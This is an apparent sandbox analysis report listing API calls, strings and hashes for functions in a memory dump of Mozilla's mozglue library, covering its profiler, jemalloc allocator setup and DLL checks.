Part of subcall function 6C59F070: AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F44D
Part of subcall function 6C59F070: ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C59F4A8
GetCurrentThreadId.KERNEL32 ref: 6C59F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F561
GetCurrentThreadId.KERNEL32 ref: 6C59F577
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F585
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C59F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C59F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C59F3A8
[I %d/%d] profiler_resume, xrefs: 6C59F239

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 0fbf4f2b957b49d763ed908e921cf731bb9d50ae288f92204cd3c801c1d528c0
Instruction ID: bf301ec591619b4095de7ccd66b96bf52004a2d282613f569b1fadd1b3db9c6d
Opcode Fuzzy Hash: 0fbf4f2b957b49d763ed908e921cf731bb9d50ae288f92204cd3c801c1d528c0
Instruction Fuzzy Hash: 97D10631604344DFDB00AF68DC047AA77B9EB86329F16475AF95983B81DB71B804C7AE

Function 6C5664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C566505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C566518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C56652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C56671C
GetCurrentProcess.KERNEL32 ref: 6C566724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C56672F
GetCurrentProcess.KERNEL32 ref: 6C566759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C566764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C566A80
GetSystemInfo.KERNEL32(?), ref: 6C566ABE
__Init_thread_footer.LIBCMT ref: 6C566AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C566AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C566AF7

Strings

nvdxgiwrap.dll, xrefs: 6C566513
user32.dll, xrefs: 6C566526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C566798
nvd3d9wrap.dll, xrefs: 6C566500
_etoured.dll, xrefs: 6C5664ED
detoured.dll, xrefs: 6C5664DA

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 99a37059fd6cc8a66c18e5c32e9305680de79f54cd049f706ff39d33bfd92a56
Instruction ID: 32809b27468f5d13c566c8f4b9051e0e2b8a341e3fc1fdb6fcc6dfe52a02af04
Opcode Fuzzy Hash: 99a37059fd6cc8a66c18e5c32e9305680de79f54cd049f706ff39d33bfd92a56
Instruction Fuzzy Hash: 23F1D170905319DFDB20DF26CC48B9AB7B5EF46318F144299D809A3B61EB31AE84CF95

Function 6C57D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C57D904
LeaveCriticalSection.KERNEL32(?), ref: 6C57D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C57D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C57E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C57E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C57E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C57E315
AcquireSRWLockExclusive.KERNEL32(6C5DE804), ref: 6C57E37C
GetSystemInfo.KERNEL32(?), ref: 6C57E3C7
__Init_thread_footer.LIBCMT ref: 6C57E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5DE810,00000040), ref: 6C57E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE7B8,00001388), ref: 6C57E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE744,00001388), ref: 6C57E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE784,00001388), ref: 6C57E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE7DC,00001388), ref: 6C57E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE768,00001388), ref: 6C57E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C57E52E
ReleaseSRWLockExclusive.KERNEL32(6C5DE804), ref: 6C57E54F

Part of subcall function 6C56D960: EnterCriticalSection.KERNEL32(?), ref: 6C56D999
Part of subcall function 6C56D960: EnterCriticalSection.KERNEL32(6C5DE7B8), ref: 6C56DA13

Strings

<jemalloc>, xrefs: 6C57E61C, 6C57E6CC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C57E560, 6C57E58A, 6C57E5A5
MOZ_CRASH(), xrefs: 6C57E62B
: (malloc) Unsupported character in malloc options: ', xrefs: 6C57E6DD
MALLOC_OPTIONS, xrefs: 6C57E3FF
Compile-time page size does not divide the runtime one., xrefs: 6C57E621

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: 274ffb43c3684a356777b5dcf366a534fce87f7c0db4b5b92c1b2a9a534739a7
Instruction ID: 8d109c4aa8222e48c4f1a460c01669d60a3d079cf4945cd0cdf40e9c940ae680
Opcode Fuzzy Hash: 274ffb43c3684a356777b5dcf366a534fce87f7c0db4b5b92c1b2a9a534739a7
Instruction Fuzzy Hash: 1F929C71A057018FD724CF28CD80755FBE1BF86728F29866DE8698B791D3B1E881CB91

Function 6C5BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C5BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C5BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C5BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C5BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C5BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C5BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C5BE472

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: a3ca863481a86eafa0b07b0b4971fe8436cf80ac0dd2c9cfcbddd241a4089dd2
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 6733AD71E0021ACFCB04CFA8C8906ADBBF2FF89310F288669D955BB755D735A945CB90

Function 6C57ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C57EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C57EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C581695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C581770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C581A3E

Strings

~qUl, xrefs: 6C57ED10
~qUl, xrefs: 6C57ED13

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qUl$~qUl
API String ID: 3693777188-3641920696
Opcode ID: 9b58086393e4e79358b7ff0e5bca15651cf3f13e27db41e5c602b960328150bf
Instruction ID: 7e453ba69fc164ea3fead9a0ef52c8f74188da3281837f7dec9291d489713b20
Opcode Fuzzy Hash: 9b58086393e4e79358b7ff0e5bca15651cf3f13e27db41e5c602b960328150bf
Instruction Fuzzy Hash: B9B32C71E05229CFDB24CFA8C890A9DB7B2FF89304F1582A9D459AB745D730AD85CF90

Function 6C56FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE7B8), ref: 6C56FF81
LeaveCriticalSection.KERNEL32(6C5DE7B8), ref: 6C57022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C570240
EnterCriticalSection.KERNEL32(6C5DE768), ref: 6C57025B
LeaveCriticalSection.KERNEL32(6C5DE768), ref: 6C57027B

Strings

<jemalloc>, xrefs: 6C570D62, 6C570D76, 6C570DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C56FE99, 6C56FEB7, 6C56FED3, 6C570DB8, 6C570DD3, 6C5719B4
: (malloc) Error in VirtualFree(), xrefs: 6C570D67, 6C570D7B, 6C570DAC

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 65879458c670523b9db680a992bfb3a67ac24167220ebcd8916278b38477c3a9
Instruction ID: bff57ae47e143c4a6044f3ae9dc506c59e62d1c4fbb9dd7bfd7efa5c1fb4adfa
Opcode Fuzzy Hash: 65879458c670523b9db680a992bfb3a67ac24167220ebcd8916278b38477c3a9
Instruction Fuzzy Hash: C2C2DF71A057418FD724CF28C890716BBE1BFC5328F28C66DE8698B795D772E881CB91

Function 6C5BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C5BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C5C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C5C0ED4

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 0b541568413ce4aef3b2a83ce8d28b40d7b0df1e304cfb3916f7004ef782845f
Instruction ID: 13c6ce2b9293a5d4f08ced7178045187a2dd3449fc30e65860dc70b80a8bb957
Opcode Fuzzy Hash: 0b541568413ce4aef3b2a83ce8d28b40d7b0df1e304cfb3916f7004ef782845f
Instruction Fuzzy Hash: A2636D75E0025ACFCB14CFA8C89069DFBB2FF89310F29826AD855BB755D730A945CB90

Function 6C593E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C5B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Yl,?,?,?,6C593E7D,?,?), ref: 6C5B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C593F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C593F5C
VerSetConditionMask.NTDLL ref: 6C593F8D
VerSetConditionMask.NTDLL ref: 6C593F99
VerSetConditionMask.NTDLL ref: 6C593FA0
VerSetConditionMask.NTDLL ref: 6C593FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C593FB4

Strings

C>Yl, xrefs: 6C593E93
nvd3d9wrap.dll, xrefs: 6C594466
nvinit.dll, xrefs: 6C594479

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Yl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-892337806
Opcode ID: d4765f43106cdabb20479847b83eaec52ac70d6b72087f0eba8928fc4c704b2b
Instruction ID: f2698e1c0f0dff40f0f9b0cf8eae7ee42ffce82afc771a2f72fc830120c80d3d
Opcode Fuzzy Hash: d4765f43106cdabb20479847b83eaec52ac70d6b72087f0eba8928fc4c704b2b
Instruction Fuzzy Hash: 6B52C271710B849FD724DB248C90AABB7E9AF85204F44096DE497CBB52DB74FD09CB60

Function 6C56FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE7B8), ref: 6C56FF81
LeaveCriticalSection.KERNEL32(6C5DE7B8), ref: 6C57022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C570240
EnterCriticalSection.KERNEL32(6C5DE768), ref: 6C57025B
LeaveCriticalSection.KERNEL32(6C5DE768), ref: 6C57027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C56FE99, 6C56FEB7, 6C56FED3, 6C570DB8, 6C570DD3, 6C5719B4, 6C571A10
MOZ_CRASH(), xrefs: 6C570CA7

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 2ee3f03ccbe5f2a702b7b5909311f2fcd318ef01bac2a10acd203a58032ab6a1
Instruction ID: 50202224be287023fa7636fdaab1796ded5b4b30325d52ac26dc784b3e3d657e
Opcode Fuzzy Hash: 2ee3f03ccbe5f2a702b7b5909311f2fcd318ef01bac2a10acd203a58032ab6a1
Instruction Fuzzy Hash: 2FB2EF716057418FD724CF29C990716BBE1BF85328F28CA6DE86A8FB95C771E880CB51

Function 6C5A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

schema, xrefs: 6C5A606D
ProfileBuffer parse error: %s, xrefs: 6C5A5AC8, 6C5A5CBB
expected a Time entry, xrefs: 6C5A5CB6
name, xrefs: 6C5A5E79, 6C5A5E8F
data, xrefs: 6C5A6131
expected a Count entry, xrefs: 6C5A5AC3

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 07e4055face538145167b56097be82eb106b836add62674ba736f0737d452119
Instruction ID: f9f0a00e1bcdc6b4dc6140463577e16338515f072b7887ee2739cd822786d4a7
Opcode Fuzzy Hash: 07e4055face538145167b56097be82eb106b836add62674ba736f0737d452119
Instruction Fuzzy Hash: 67926B71A087418FD724CF59C890B9EB7E1BFC9308F54891DE59A9B751DB30E80ACB92

Function 6C567810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE744), ref: 6C567885
LeaveCriticalSection.KERNEL32(6C5DE744), ref: 6C5678A5
EnterCriticalSection.KERNEL32(6C5DE784), ref: 6C5678AD
LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C5678CD
EnterCriticalSection.KERNEL32(6C5DE7DC), ref: 6C5678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C56795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C567BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C567C82
LeaveCriticalSection.KERNEL32(6C5DE7DC), ref: 6C567CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C567DAF

Strings

D]l, xrefs: 6C56789F
D]l, xrefs: 6C56787F

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: D]l$D]l
API String ID: 759993129-1029341217
Opcode ID: 5e87d915781f66a987b4bc13599849f640b5923e582704cc07749b1fcbd0c422
Instruction ID: b6481a6cbd4aa0e9f586ce5723a4c00924dd306862ccee5c30a75ed139bf8ed1
Opcode Fuzzy Hash: 5e87d915781f66a987b4bc13599849f640b5923e582704cc07749b1fcbd0c422
Instruction Fuzzy Hash: 4E025071A0121A8FDB54CF19CD84799B7B5FF88358F2582AAD809A7B11D770BE90CF84

Function 6C5A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C5A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A36BF

Strings

set , xrefs: 6C5A36EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C5A378D
get , xrefs: 6C5A3205

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 8ca387a4d6efa68431e84d370a1e91bb79bb6a670bdb94f6d3a37461a6bceeb0
Instruction ID: 854ec707d169c5b04690825baff9f9a92fe673bc37ee130f14865dc6865ced97
Opcode Fuzzy Hash: 8ca387a4d6efa68431e84d370a1e91bb79bb6a670bdb94f6d3a37461a6bceeb0
Instruction Fuzzy Hash: EA325DB06083818FD324CF65C8906AFBBE2AFC9318F548D1DE59987751DB30E94ACB56

Function 6C597E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C5981E3, 6C598311
name, xrefs: 6C597ECF, 6C598335
v]l, xrefs: 6C598207
data, xrefs: 6C598280, 6C5983E1
(pre-xul), xrefs: 6C597E88

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$v]l
API String ID: 3412268980-2624717897
Opcode ID: 250a5b80d65c274354337044ed96bd638815ae3d97b354ab225a0c19dc7b0d6c
Instruction ID: 135d27bc6032ff82adaea202fc6156ed16fc9fe4cc00a7c988aa3f55cacdd05b
Opcode Fuzzy Hash: 250a5b80d65c274354337044ed96bd638815ae3d97b354ab225a0c19dc7b0d6c
Instruction Fuzzy Hash: A6E16FB1B043408BD710CF698C4065BFBE9BBD5314F154A2DE899D7B90EBB0ED498B92

Function 6C5B5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C5B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C5B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QUl,?), ref: 6C5B6046
OutputDebugStringA.KERNEL32(?,QUl,?), ref: 6C5B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C5D148E), ref: 6C5B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QUl,00000000,?), ref: 6C5B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5B60C4

Strings

QUl, xrefs: 6C5B5FFC, 6C5B6042, 6C5B6045, 6C5B60B3

